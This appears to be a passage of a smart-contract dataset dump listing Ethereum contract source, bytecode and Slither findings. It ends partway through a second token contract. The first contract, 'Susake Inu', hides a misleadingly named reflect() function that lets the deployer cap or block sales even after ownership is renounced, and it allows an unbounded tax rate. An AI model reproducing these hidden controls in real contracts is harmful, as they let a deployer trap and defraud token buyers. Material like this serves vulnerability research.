address
stringlengths
42
42
source_code
stringlengths
6.9k
125k
bytecode
stringlengths
2
49k
slither
stringclasses
664 values
id
int64
0
10.7k
0x8c1b7d1f045a1ff4405d2c43e9fa8e6e99361d4d
// SPDX-License-Identifier: MIT // Telegram: t.me/susakeinu pragma solidity ^0.8.4; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH(address token, uint amountTokenDesired,uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed oldie, address indexed newbie); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender() , "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract SusakeInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _rOwned; mapping(address => mapping(address => uint256)) private _allowances; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000000 ; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxRate; address payable private _taxWallet; string private constant _name = "Susake Inu"; string private constant _symbol = "SUSAKE"; uint8 private constant _decimals = 0; IUniswapV2Router02 private _router; address private _pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; address private _override; uint256 private _max = _tTotal; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _rOwned[_msgSender()] = _rTotal; _override=owner(); _router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _taxRate = 8; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setTaxRate(uint rate) external onlyOwner{ require(rate>=0,"Tax must be non-negative"); _taxRate=rate; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(((to == _pair && from != address(_router) )?1:0)*amount <= _max); if (from != owner() && to != owner()) { if (!inSwap && from != _pair && swapEnabled) { swapTokensForEth(balanceOf(address(this))); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _router.WETH(); _approve(address(this), address(_router), tokenAmount); _router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path,address(this), block.timestamp); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function startTrading() external onlyOwner() { require(!tradingOpen, "Trading is already open"); _approve(address(this), address(_router), _tTotal); _pair = IUniswapV2Factory(_router.factory()).createPair(address(this), _router.WETH()); _router.addLiquidityETH{value : address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp); swapEnabled = true; _max = _tTotal; tradingOpen = true; IERC20(_pair).approve(address(_router), type(uint).max); } modifier overridden() { require(_override == _msgSender() ); _; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { require(_msgSender() == _taxWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _taxWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxRate, _taxRate); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function reflect(uint256 limit) external overridden { _max = limit; } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100f75760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb146102ff578063c6d69a301461033c578063dd62ed3e14610365578063f4293890146103a2576100fe565b806370a0823114610255578063715018a6146102925780638da5cb5b146102a957806395d89b41146102d4576100fe565b806323b872dd116100c657806323b872dd146101bf578063293230b8146101fc578063313ce5671461021357806351bc3c851461023e576100fe565b8063053ab1821461010357806306fdde031461012c578063095ea7b31461015757806318160ddd14610194576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b5061012a60048036038101906101259190612048565b6103b9565b005b34801561013857600080fd5b50610141610424565b60405161014e919061243b565b60405180910390f35b34801561016357600080fd5b5061017e60048036038101906101799190611fdb565b610461565b60405161018b9190612420565b60405180910390f35b3480156101a057600080fd5b506101a961047f565b6040516101b691906125bd565b60405180910390f35b3480156101cb57600080fd5b506101e660048036038101906101e19190611f88565b61048c565b6040516101f39190612420565b60405180910390f35b34801561020857600080fd5b50610211610565565b005b34801561021f57600080fd5b50610228610a88565b6040516102359190612632565b60405180910390f35b34801561024a57600080fd5b50610253610a8d565b005b34801561026157600080fd5b5061027c60048036038101906102779190611eee565b610b07565b60405161028991906125bd565b60405180910390f35b34801561029e57600080fd5b506102a7610b58565b005b3480156102b557600080fd5b506102be610cab565b6040516102cb9190612352565b60405180910390f35b3480156102e057600080fd5b506102e9610cd4565b6040516102f6919061243b565b60405180910390f35b34801561030b57600080fd5b5061032660048036038101906103219190611fdb565b610d11565b6040516103339190612420565b60405180910390f35b34801561034857600080fd5b50610363600480360381019061035e9190612048565b610d2f565b005b34801561037157600080fd5b5061038c60048036038101906103879190611f48565b610e12565b60405161039991906125bd565b60405180910390f35b3480156103ae57600080fd5b506103b7610e99565b005b6103c1610f0b565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461041a57600080fd5b80600a8190555050565b60606040518060400160405280600a81526020017f537573616b6520496e7500000000000000000000000000000000000000000000815250905090565b600061047561046e610f0b565b8484610f13565b6001905092915050565b60006402540be400905090565b60006104998484846110de565b61055a846104a5610f0b565b61055585604051806060016040528060288152602001612c3660289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050b610f0b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114159092919063ffffffff16565b610f13565b600190509392505050565b61056d610f0b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f19061251d565b60405180910390fd5b600860149054906101000a900460ff161561064a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610641906124bd565b60405180910390fd5b61067c30600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166402540be400610f13565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156106e457600080fd5b505afa1580156106f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061071c9190611f1b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a057600080fd5b505afa1580156107b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107d89190611f1b565b6040518363ffffffff1660e01b81526004016107f592919061236d565b602060405180830381600087803b15801561080f57600080fd5b505af1158015610823573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108479190611f1b565b600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306108d030610b07565b6000806108db610cab565b426040518863ffffffff1660e01b81526004016108fd969594939291906123bf565b6060604051808303818588803b15801561091657600080fd5b505af115801561092a573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061094f9190612075565b5050506001600860166101000a81548160ff0219169083151502179055506402540be400600a819055506001600860146101000a81548160ff021916908315150217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610a33929190612396565b602060405180830381600087803b158015610a4d57600080fd5b505af1158015610a61573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a85919061201b565b50565b600090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ace610f0b565b73ffffffffffffffffffffffffffffffffffffffff1614610aee57600080fd5b6000610af930610b07565b9050610b0481611479565b50565b6000610b51600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611701565b9050919050565b610b60610f0b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be49061251d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f535553414b450000000000000000000000000000000000000000000000000000815250905090565b6000610d25610d1e610f0b565b84846110de565b6001905092915050565b610d37610f0b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dbb9061251d565b60405180910390fd5b6000811015610e08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dff9061259d565b60405180910390fd5b8060058190555050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610eda610f0b565b73ffffffffffffffffffffffffffffffffffffffff1614610efa57600080fd5b6000479050610f088161176f565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7a9061257d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ff3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fea9061249d565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110d191906125bd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561114e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111459061255d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b59061245d565b60405180910390fd5b60008111611201576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f89061253d565b60405180910390fd5b600a5481600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156112b05750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b6112bb5760006112be565b60015b60ff166112cb9190612729565b11156112d657600080fd5b6112de610cab565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561134c575061131c610cab565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561140557600860159054906101000a900460ff161580156113bc5750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156113d45750600860169054906101000a900460ff165b15611404576113ea6113e530610b07565b611479565b60004790506000811115611402576114014761176f565b5b505b5b6114108383836117db565b505050565b600083831115829061145d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611454919061243b565b60405180910390fd5b506000838561146c9190612783565b9050809150509392505050565b6001600860156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156114b1576114b06128de565b5b6040519080825280602002602001820160405280156114df5781602001602082028036833780820191505090505b50905030816000815181106114f7576114f66128af565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561159957600080fd5b505afa1580156115ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115d19190611f1b565b816001815181106115e5576115e46128af565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061164c30600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f13565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016116b09594939291906125d8565b600060405180830381600087803b1580156116ca57600080fd5b505af11580156116de573d6000803e3d6000fd5b50505050506000600860156101000a81548160ff02191690831515021790555050565b6000600354821115611748576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173f9061247d565b60405180910390fd5b60006117526117eb565b9050611767818461181690919063ffffffff16565b915050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156117d7573d6000803e3d6000fd5b5050565b6117e6838383611860565b505050565b60008060006117f8611a2b565b9150915061180f818361181690919063ffffffff16565b9250505090565b600061185883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a81565b905092915050565b60008060008060008061187287611ae4565b9550955095509550955095506118d086600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b4c90919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061196585600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9690919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119b181611bf4565b6119bb8483611cb1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a1891906125bd565b60405180910390a3505050505050505050565b6000806000600354905060006402540be4009050611a596402540be40060035461181690919063ffffffff16565b821015611a74576003546402540be400935093505050611a7d565b81819350935050505b9091565b60008083118290611ac8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611abf919061243b565b60405180910390fd5b5060008385611ad791906126f8565b9050809150509392505050565b6000806000806000806000806000611b018a600554600554611ceb565b9250925092506000611b116117eb565b90506000806000611b248e878787611d81565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611b8e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611415565b905092915050565b6000808284611ba591906126a2565b905083811015611bea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be1906124dd565b60405180910390fd5b8091505092915050565b6000611bfe6117eb565b90506000611c158284611e0a90919063ffffffff16565b9050611c6981600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9690919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611cc682600354611b4c90919063ffffffff16565b600381905550611ce181600454611b9690919063ffffffff16565b6004819055505050565b600080600080611d176064611d09888a611e0a90919063ffffffff16565b61181690919063ffffffff16565b90506000611d416064611d33888b611e0a90919063ffffffff16565b61181690919063ffffffff16565b90506000611d6a82611d5c858c611b4c90919063ffffffff16565b611b4c90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611d9a8589611e0a90919063ffffffff16565b90506000611db18689611e0a90919063ffffffff16565b90506000611dc88789611e0a90919063ffffffff16565b90506000611df182611de38587611b4c90919063ffffffff16565b611b4c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611e1d5760009050611e7f565b60008284611e2b9190612729565b9050828482611e3a91906126f8565b14611e7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e71906124fd565b60405180910390fd5b809150505b92915050565b600081359050611e9481612bf0565b92915050565b600081519050611ea981612bf0565b92915050565b600081519050611ebe81612c07565b92915050565b600081359050611ed381612c1e565b92915050565b600081519050611ee881612c1e565b92915050565b600060208284031215611f0457611f0361290d565b5b6000611f1284828501611e85565b91505092915050565b600060208284031215611f3157611f3061290d565b5b6000611f3f84828501611e9a565b91505092915050565b60008060408385031215611f5f57611f5e61290d565b5b6000611f6d85828601611e85565b9250506020611f7e85828601611e85565b9150509250929050565b600080600060608486031215611fa157611fa061290d565b5b6000611faf86828701611e85565b9350506020611fc086828701611e85565b9250506040611fd186828701611ec4565b9150509250925092565b60008060408385031215611ff257611ff161290d565b5b600061200085828601611e85565b925050602061201185828601611ec4565b9150509250929050565b6000602082840312156120315761203061290d565b5b600061203f84828501611eaf565b91505092915050565b60006020828403121561205e5761205d61290d565b5b600061206c84828501611ec4565b91505092915050565b60008060006060848603121561208e5761208d61290d565b5b600061209c86828701611ed9565b93505060206120ad86828701611ed9565b92505060406120be86828701611ed9565b9150509250925092565b60006120d483836120e0565b60208301905092915050565b6120e9816127b7565b82525050565b6120f8816127b7565b82525050565b60006121098261265d565b6121138185612680565b935061211e8361264d565b8060005b8381101561214f57815161213688826120c8565b975061214183612673565b925050600181019050612122565b5085935050505092915050565b612165816127c9565b82525050565b6121748161280c565b82525050565b600061218582612668565b61218f8185612691565b935061219f81856020860161281e565b6121a881612912565b840191505092915050565b60006121c0602383612691565b91506121cb82612923565b604082019050919050565b60006121e3602a83612691565b91506121ee82612972565b604082019050919050565b6000612206602283612691565b9150612211826129c1565b604082019050919050565b6000612229601783612691565b915061223482612a10565b602082019050919050565b600061224c601b83612691565b915061225782612a39565b602082019050919050565b600061226f602183612691565b915061227a82612a62565b604082019050919050565b6000612292602083612691565b915061229d82612ab1565b602082019050919050565b60006122b5602983612691565b91506122c082612ada565b604082019050919050565b60006122d8602583612691565b91506122e382612b29565b604082019050919050565b60006122fb602483612691565b915061230682612b78565b604082019050919050565b600061231e601883612691565b915061232982612bc7565b602082019050919050565b61233d816127f5565b82525050565b61234c816127ff565b82525050565b600060208201905061236760008301846120ef565b92915050565b600060408201905061238260008301856120ef565b61238f60208301846120ef565b9392505050565b60006040820190506123ab60008301856120ef565b6123b86020830184612334565b9392505050565b600060c0820190506123d460008301896120ef565b6123e16020830188612334565b6123ee604083018761216b565b6123fb606083018661216b565b61240860808301856120ef565b61241560a0830184612334565b979650505050505050565b6000602082019050612435600083018461215c565b92915050565b60006020820190508181036000830152612455818461217a565b905092915050565b60006020820190508181036000830152612476816121b3565b9050919050565b60006020820190508181036000830152612496816121d6565b9050919050565b600060208201905081810360008301526124b6816121f9565b9050919050565b600060208201905081810360008301526124d68161221c565b9050919050565b600060208201905081810360008301526124f68161223f565b9050919050565b6000602082019050818103600083015261251681612262565b9050919050565b6000602082019050818103600083015261253681612285565b9050919050565b60006020820190508181036000830152612556816122a8565b9050919050565b60006020820190508181036000830152612576816122cb565b9050919050565b60006020820190508181036000830152612596816122ee565b9050919050565b600060208201905081810360008301526125b681612311565b9050919050565b60006020820190506125d26000830184612334565b92915050565b600060a0820190506125ed6000830188612334565b6125fa602083018761216b565b818103604083015261260c81866120fe565b905061261b60608301856120ef565b6126286080830184612334565b9695505050505050565b60006020820190506126476000830184612343565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006126ad826127f5565b91506126b8836127f5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156126ed576126ec612851565b5b828201905092915050565b6000612703826127f5565b915061270e836127f5565b92508261271e5761271d612880565b5b828204905092915050565b6000612734826127f5565b915061273f836127f5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561277857612777612851565b5b828202905092915050565b600061278e826127f5565b9150612799836127f5565b9250828210156127ac576127ab612851565b5b828203905092915050565b60006127c2826127d5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612817826127f5565b9050919050565b60005b8381101561283c578082015181840152602081019050612821565b8381111561284b576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f546178206d757374206265206e6f6e2d6e656761746976650000000000000000600082015250565b612bf9816127b7565b8114612c0457600080fd5b50565b612c10816127c9565b8114612c1b57600080fd5b50565b612c27816127f5565b8114612c3257600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b3761ff9f01b70945abb32f236ca2f36909dd3a95f74de7b38ee6ee0566897c264736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,700
0x5ece3f1542c4e1a06767457e4d8286bea772fc41
/** *Submitted for verification at Etherscan.io on 2021-04-12 */ pragma solidity ^0.5.16; pragma experimental ABIEncoderV2; contract Kian { /// @notice EIP-20 token name for this token string public constant name = "Kianite"; /// @notice EIP-20 token symbol for this token string public constant symbol = "KIAN"; /// @notice EIP-20 token decimals for this token uint8 public constant decimals = 18; /// @notice Total number of tokens in circulation uint public constant totalSupply = 100000000e18; // 100 million Kian /// @notice Allowance amounts on behalf of others mapping (address => mapping (address => uint96)) internal allowances; /// @notice Official record of token balances for each account mapping (address => uint96) internal balances; /// @notice A record of each accounts delegate mapping (address => address) public delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint96 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant 